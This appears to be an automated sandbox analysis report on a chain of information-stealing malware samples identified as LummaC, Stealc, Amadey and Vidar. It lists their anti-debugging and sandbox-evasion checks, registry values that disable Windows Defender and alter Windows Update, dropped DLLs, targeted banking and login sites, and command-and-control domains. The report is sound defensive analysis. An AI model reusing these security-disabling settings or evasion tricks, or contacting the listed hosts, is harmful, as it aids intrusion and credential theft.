Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Memory allocated: 4A60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Memory allocated: 4DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Memory allocated: 4C40000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\V65xPrgEHH.exe TID: 7344	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe TID: 7476	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe TID: 7136	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe TID: 7624	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe TID: 7624	Thread sleep time: -74037s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe TID: 7640	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe TID: 7640	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe TID: 7548	Thread sleep count: 45 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe TID: 7548	Thread sleep time: -90045s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe TID: 7632	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe TID: 7632	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe TID: 7660	Thread sleep time: -44000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe TID: 7532	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe TID: 7532	Thread sleep time: -78039s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe TID: 7536	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe TID: 7536	Thread sleep time: -96048s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe TID: 7520	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe TID: 7520	Thread sleep time: -80040s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\V65xPrgEHH.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Documents\GIEHIDHJDB.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

Code function: 13_2_6C99EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

13_2_6C99EBF0

Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: DHCAAEBK.13.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe, KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe, 00000009.00000002.2606249178.00000000007F9000.00000040.00000001.01000000.00000006.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3122439699.0000000000AFF000.00000040.00000001.01000000.0000000B.sdmp, GIEHIDHJDB.exe, 00000018.00000002.3161481783.00000000002B5000.00000040.00000001.01000000.0000000F.sdmp, GIEHIDHJDB.exe, 00000018.00000001.3103186722.00000000002B5000.00000080.00000001.01000000.0000000F.sdmp, skotes.exe, 00000019.00000002.3195726309.0000000000435000.00000040.00000001.01000000.00000012.sdmp, skotes.exe, 0000001A.00000002.3225781792.0000000000435000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: DHCAAEBK.13.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: DHCAAEBK.13.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: DHCAAEBK.13.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: DHCAAEBK.13.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8+
Source: DHCAAEBK.13.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: V65xPrgEHH.exe, V65xPrgEHH.exe, 00000000.00000003.2369460064.0000000001125000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2324412969.0000000001125000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2293685890.0000000001125000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2459047018.0000000001125000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2216362230.0000000001125000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001306000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DHCAAEBK.13.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: DHCAAEBK.13.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: DHCAAEBK.13.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: DHCAAEBK.13.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: DHCAAEBK.13.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: V65xPrgEHH.exe, 00000000.00000003.2240454544.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: DHCAAEBK.13.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: DHCAAEBK.13.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: DHCAAEBK.13.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: DHCAAEBK.13.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: DHCAAEBK.13.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: DHCAAEBK.13.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: DHCAAEBK.13.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: DHCAAEBK.13.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: DHCAAEBK.13.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: DHCAAEBK.13.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: DHCAAEBK.13.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: DHCAAEBK.13.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: V65xPrgEHH.exe, 00000000.00000003.2369460064.0000000001125000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2324412969.0000000001125000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2293685890.0000000001125000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2459047018.0000000001125000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2216362230.0000000001125000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWJZ
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.00000000012BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: DHCAAEBK.13.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: DHCAAEBK.13.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: DHCAAEBK.13.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: DHCAAEBK.13.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: DHCAAEBK.13.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: DHCAAEBK.13.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe, 00000009.00000002.2606249178.00000000007F9000.00000040.00000001.01000000.00000006.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3122439699.0000000000AFF000.00000040.00000001.01000000.0000000B.sdmp, GIEHIDHJDB.exe, 00000018.00000002.3161481783.00000000002B5000.00000040.00000001.01000000.0000000F.sdmp, GIEHIDHJDB.exe, 00000018.00000001.3103186722.00000000002B5000.00000080.00000001.01000000.0000000F.sdmp, skotes.exe, 00000019.00000002.3195726309.0000000000435000.00000040.00000001.01000000.00000012.sdmp, skotes.exe, 0000001A.00000002.3225781792.0000000000435000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: DHCAAEBK.13.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: DHCAAEBK.13.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\V65xPrgEHH.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\V65xPrgEHH.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

Code function: 13_2_6CA6AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

13_2_6CA6AC62

Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

Code function: 13_2_6CA6AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

13_2_6CA6AC62

Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 5XYR1IZSU740RQ8S.exe PID: 5588, type: MEMORYSTR

LummaC encrypted strings found

Source: V65xPrgEHH.exe, 00000000.00000003.2156677546.0000000004D60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: V65xPrgEHH.exe, 00000000.00000003.2156677546.0000000004D60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: V65xPrgEHH.exe, 00000000.00000003.2156677546.0000000004D60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: V65xPrgEHH.exe, 00000000.00000003.2156677546.0000000004D60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: V65xPrgEHH.exe, 00000000.00000003.2156677546.0000000004D60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: V65xPrgEHH.exe, 00000000.00000003.2156677546.0000000004D60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: V65xPrgEHH.exe, 00000000.00000003.2156677546.0000000004D60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: V65xPrgEHH.exe, 00000000.00000003.2156677546.0000000004D60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: V65xPrgEHH.exe, 00000000.00000003.2156677546.0000000004D60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GIEHIDHJDB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\GIEHIDHJDB.exe "C:\Users\user\Documents\GIEHIDHJDB.exe"
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

Code function: 13_2_6CAB4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

13_2_6CAB4760

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

Code function: 13_2_6C991C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

13_2_6C991C30

Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe, KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe, 00000009.00000002.2606249178.00000000007F9000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: Program Manager
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3122984767.0000000000B43000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: EProgram Manager
Source: GIEHIDHJDB.exe, 00000018.00000002.3161898035.00000000002F8000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 00000019.00000002.3196150588.0000000000478000.00000040.00000001.01000000.00000012.sdmp, skotes.exe, 0000001A.00000002.3226444759.0000000000478000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: gBProgram Manager

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

Code function: 13_2_6CA6AE71 cpuid

13_2_6CA6AE71

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

Code function: 13_2_6CA6A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

13_2_6CA6A8DC

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

Code function: 13_2_6C9B8390 NSS_GetVersion,

13_2_6C9B8390

Source: C:\Users\user\Desktop\V65xPrgEHH.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: V65xPrgEHH.exe, V65xPrgEHH.exe, 00000000.00000003.2324319671.0000000005845000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2324412969.0000000001125000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2324658098.0000000001175000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2337813480.0000000001176000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2370020157.0000000001176000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2324412969.0000000001195000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\V65xPrgEHH.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 24.2.GIEHIDHJDB.exe.c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.skotes.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.3195233598.0000000000241000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.3225063713.0000000000241000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.3120637248.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.3184885863.0000000005170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.3154964868.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3161003714.00000000000C1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: V65xPrgEHH.exe PID: 7284, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000000D.00000002.3124768469.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2511850219.00000000050B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3121894220.0000000000731000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5XYR1IZSU740RQ8S.exe PID: 5588, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

